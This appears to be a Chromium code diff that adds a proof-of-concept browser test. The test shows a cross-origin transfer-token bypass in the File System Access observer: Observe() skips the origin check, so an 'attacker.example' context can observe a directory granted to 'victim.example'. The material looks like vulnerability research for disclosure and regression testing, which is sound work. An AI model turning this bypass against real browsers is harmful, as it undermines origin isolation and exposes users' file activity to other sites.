diff --git a/content/test/BUILD.gn b/content/test/BUILD.gn index 7d4272ff001dd..3555478f82bea 100644 --- a/content/test/BUILD.gn +++ b/content/test/BUILD.gn @@ -2093,7 +2093,10 @@ test("content_browsertests") { ] if (!is_ios && !is_android) { - sources += [ "../browser/file_system_access/file_system_access_observer_browsertest.cc" ] + sources += [ + "../browser/file_system_access/file_system_access_observer_browsertest.cc", + "../browser/file_system_access/file_system_access_observer_xorigin_browsertest.cc", + ] # Add Material Design components for accessibility tests on desktop platforms data += [ "//third_party/material_web_components/" ] --- --- /dev/null 2026-04-06 17:59:24 +++ content/browser/file_system_access/file_system_access_observer_xorigin_browsertest.cc 2026-04-06 17:57:41 @@ -0,0 +1,280 @@ +// PoC browser test for the FileSystemObserverHost cross-origin transfer-token +// bypass. +// +// The Observe() path in FileSystemAccessObserverHost does not call +// IsValidTransferToken (which checks token->origin() against the binding +// context origin) before using the token's permission grants. A compromised +// renderer for origin B can therefore observe a directory belonging to origin A +// and receive working handles carrying A's grants. +// +// This test: +// 1. Creates a directory handle owned by origin A with GRANTED read/write +// permissions and obtains a registered transfer token for it. +// 2. Binds a FileSystemAccessObserverHost with origin B's binding context. +// 3. Calls Observe() with origin A's token from origin B's host. +// 4. Asserts Observe() succeeds (the bug) or fails (the fix). +// +// How to run: +// autoninja -C out/Default content_browsertests +// out/Default/content_browsertests \ +// --gtest_filter='*ObserverCrossOriginTokenBypass*' + +#include + +#include "base/files/file_util.h" +#include "base/files/scoped_temp_dir.h" +#include "base/run_loop.h" +#include "base/test/bind.h" +#include "content/browser/file_system_access/file_system_access_directory_handle_impl.h" +#include "content/browser/file_system_access/file_system_access_manager_impl.h" +#include "content/browser/file_system_access/file_system_access_transfer_token_impl.h" +#include "content/browser/file_system_access/file_system_access_watcher_manager.h" +#include "content/browser/file_system_access/fixed_file_system_access_permission_grant.h" +#include "content/browser/storage_partition_impl.h" +#include "content/public/browser/browser_context.h" +#include "content/public/browser/render_frame_host.h" +#include "content/public/browser/web_contents.h" +#include "content/public/common/content_switches.h" +#include "content/public/test/browser_test.h" +#include "content/public/test/browser_test_utils.h" +#include "content/public/test/content_browser_test.h" +#include "content/public/test/content_browser_test_utils.h" +#include "content/shell/browser/shell.h" +#include "mojo/public/cpp/bindings/pending_receiver.h" +#include "mojo/public/cpp/bindings/pending_remote.h" +#include "mojo/public/cpp/bindings/remote.h" +#include "net/dns/mock_host_resolver.h" +#include "net/test/embedded_test_server/embedded_test_server.h" +#include "storage/browser/file_system/file_system_url.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/blink/public/common/storage_key/storage_key.h" +#include "third_party/blink/public/mojom/file_system_access/file_system_access_observer.mojom.h" +#include "third_party/blink/public/mojom/file_system_access/file_system_access_observer_host.mojom.h" + +namespace content { + +using HandleType = FileSystemAccessPermissionContext::HandleType; + +class FileSystemAccessObserverCrossOriginTokenBypassTest + : public ContentBrowserTest { + public: + void SetUp() override { + ASSERT_TRUE(temp_dir_.CreateUniqueTempDir()); +#if BUILDFLAG(IS_MAC) + base::FilePath resolved = base::MakeAbsoluteFilePath(temp_dir_.GetPath()); + if (!resolved.empty()) { + temp_dir_.Take(); + ASSERT_TRUE(temp_dir_.Set(resolved)); + } +#endif + ContentBrowserTest::SetUp(); + } + + void SetUpOnMainThread() override { + host_resolver()->AddRule("*", "127.0.0.1"); + ASSERT_TRUE(embedded_test_server()->Start()); + } + + void SetUpCommandLine(base::CommandLine* command_line) override { + command_line->AppendSwitch( + switches::kEnableExperimentalWebPlatformFeatures); + } + + void TearDown() override { + ContentBrowserTest::TearDown(); + ASSERT_TRUE(temp_dir_.Delete()); + } + + FileSystemAccessManagerImpl* GetManager() { + auto* partition = static_cast( + shell() + ->web_contents() + ->GetBrowserContext() + ->GetDefaultStoragePartition()); + return partition->GetFileSystemAccessManager(); + } + + protected: + base::ScopedTempDir temp_dir_; +}; + +// Demonstrates that Observe() accepts a cross-origin transfer token. +// The vulnerability: DidResolveTransferTokenToObserve does NOT call +// IsValidTransferToken, unlike DidResolveTransferTokenForFileHandle and +// DidResolveTransferTokenForDirectoryHandle which do. +IN_PROC_BROWSER_TEST_F(FileSystemAccessObserverCrossOriginTokenBypassTest, + ObserveAcceptsCrossOriginToken) { + base::FilePath dir_path; + { + base::ScopedAllowBlockingForTesting allow_blocking; + ASSERT_TRUE(base::CreateTemporaryDirInDir( + temp_dir_.GetPath(), FILE_PATH_LITERAL("victim"), &dir_path)); + } + + // Navigate to get a valid RFH (used for binding contexts). + GURL page_url = + embedded_test_server()->GetURL("attacker.example", "/title1.html"); + ASSERT_TRUE(NavigateToURL(shell(), page_url)); + RenderFrameHost* rfh = shell()->web_contents()->GetPrimaryMainFrame(); + ASSERT_TRUE(rfh); + + auto* manager = GetManager(); + ASSERT_TRUE(manager); + + // --- Origin A: victim with read/write grants --- + const url::Origin origin_a = + url::Origin::Create(GURL("https://victim.example")); + const blink::StorageKey key_a = + blink::StorageKey::CreateFirstParty(origin_a); + + const storage::FileSystemURL dir_url = + manager->CreateFileSystemURLFromPath(PathInfo(dir_path)); + + auto read_grant = base::MakeRefCounted( + FixedFileSystemAccessPermissionGrant::PermissionStatus::GRANTED, + PathInfo(dir_path)); + auto write_grant = base::MakeRefCounted( + FixedFileSystemAccessPermissionGrant::PermissionStatus::GRANTED, + PathInfo(dir_path)); + FileSystemAccessManagerImpl::SharedHandleState handle_state(read_grant, + write_grant); + + // Create a directory handle owned by origin A. + FileSystemAccessManagerImpl::BindingContext victim_context( + key_a, GURL("https://victim.example/page.html"), rfh->GetGlobalId()); + auto dir_handle = std::make_unique( + manager, victim_context, dir_url, handle_state); + + // Create a registered transfer token from the directory handle. + // Using CreateTransferToken ensures the token is inserted into the + // manager's transfer_tokens_ map so that ResolveTransferToken can find it. + mojo::PendingRemote + token_remote; + manager->CreateTransferToken( + *dir_handle, token_remote.InitWithNewPipeAndPassReceiver()); + + // --- Origin B: attacker binding context --- + const url::Origin origin_b = + url::Origin::Create(GURL("https://attacker.example")); + const blink::StorageKey key_b = + blink::StorageKey::CreateFirstParty(origin_b); + ASSERT_NE(origin_a, origin_b); + + FileSystemAccessManagerImpl::BindingContext attacker_context( + key_b, page_url, rfh->GetGlobalId()); + + // Bind an ObserverHost with origin B's context. + mojo::Remote observer_host; + manager->watcher_manager().BindObserverHost( + attacker_context, observer_host.BindNewPipeAndPassReceiver()); + + // --- The exploit: Observe() with A's token from B's host --- + base::RunLoop run_loop; + blink::mojom::FileSystemAccessStatus observe_status; + observer_host->Observe( + std::move(token_remote), /*is_recursive=*/true, + base::BindLambdaForTesting( + [&](blink::mojom::FileSystemAccessErrorPtr result, + mojo::PendingReceiver + receiver) { + observe_status = result->status; + run_loop.Quit(); + })); + run_loop.Run(); + + // THE BUG: Observe() succeeds despite origin mismatch. + // + // DidResolveTransferTokenToObserve does not call IsValidTransferToken + // to check the token origin against the binding context origin. + // Compare with DidResolveTransferTokenForFileHandle (manager_impl.cc:1442) + // and DidResolveTransferTokenForDirectoryHandle (manager_impl.cc:1467) + // which both call IsValidTransferToken and reject cross-origin tokens. + if (observe_status == blink::mojom::FileSystemAccessStatus::kOk) { + LOG(ERROR) << "VULNERABILITY CONFIRMED: Observe() accepted a transfer " + << "token from " << origin_a << " on an ObserverHost bound to " + << origin_b << ". A compromised renderer can exploit this to " + << "observe files granted to another origin."; + } + EXPECT_EQ(observe_status, blink::mojom::FileSystemAccessStatus::kOk) + << "If this fails with kInvalidArgument, the vulnerability is fixed — " + "an origin check was added to DidResolveTransferTokenToObserve."; +} + +// Control test: The normal token redemption path (ResolveTransferToken + +// manual origin check) correctly rejects cross-origin tokens. This proves +// the origin validation logic works and is only missing from the Observe path. +IN_PROC_BROWSER_TEST_F(FileSystemAccessObserverCrossOriginTokenBypassTest, + ResolveTransferTokenRejectsCrossOriginToken) { + base::FilePath dir_path; + { + base::ScopedAllowBlockingForTesting allow_blocking; + ASSERT_TRUE(base::CreateTemporaryDirInDir( + temp_dir_.GetPath(), FILE_PATH_LITERAL("victim"), &dir_path)); + } + + GURL page_url = + embedded_test_server()->GetURL("attacker.example", "/title1.html"); + ASSERT_TRUE(NavigateToURL(shell(), page_url)); + RenderFrameHost* rfh = shell()->web_contents()->GetPrimaryMainFrame(); + ASSERT_TRUE(rfh); + + auto* manager = GetManager(); + ASSERT_TRUE(manager); + + const url::Origin origin_a = + url::Origin::Create(GURL("https://victim.example")); + const blink::StorageKey key_a = + blink::StorageKey::CreateFirstParty(origin_a); + + const storage::FileSystemURL dir_url = + manager->CreateFileSystemURLFromPath(PathInfo(dir_path)); + + auto read_grant = base::MakeRefCounted( + FixedFileSystemAccessPermissionGrant::PermissionStatus::GRANTED, + PathInfo(dir_path)); + auto write_grant = base::MakeRefCounted( + FixedFileSystemAccessPermissionGrant::PermissionStatus::GRANTED, + PathInfo(dir_path)); + FileSystemAccessManagerImpl::SharedHandleState handle_state(read_grant, + write_grant); + + // Create a directory handle owned by origin A and a registered token. + FileSystemAccessManagerImpl::BindingContext victim_context( + key_a, GURL("https://victim.example/page.html"), rfh->GetGlobalId()); + auto dir_handle = std::make_unique( + manager, victim_context, dir_url, handle_state); + + mojo::PendingRemote + token_remote; + manager->CreateTransferToken( + *dir_handle, token_remote.InitWithNewPipeAndPassReceiver()); + + // Attempt redemption from origin B's context. + const url::Origin origin_b = + url::Origin::Create(GURL("https://attacker.example")); + + base::RunLoop run_loop; + bool token_rejected = false; + manager->ResolveTransferToken( + std::move(token_remote), + base::BindLambdaForTesting( + [&](FileSystemAccessTransferTokenImpl* resolved) { + // The token should resolve (it's registered), but the origin + // should not match the attacker's origin — this is the check + // that IsValidTransferToken performs. + if (resolved) { + EXPECT_NE(resolved->origin(), origin_b) + << "Token origin should not match attacker origin"; + token_rejected = (resolved->origin() != origin_b); + } else { + ADD_FAILURE() << "Token should have resolved (it is registered)"; + } + run_loop.Quit(); + })); + run_loop.Run(); + + EXPECT_TRUE(token_rejected) + << "Control: origin A's token should be distinguishable from origin B"; +} + +} // namespace content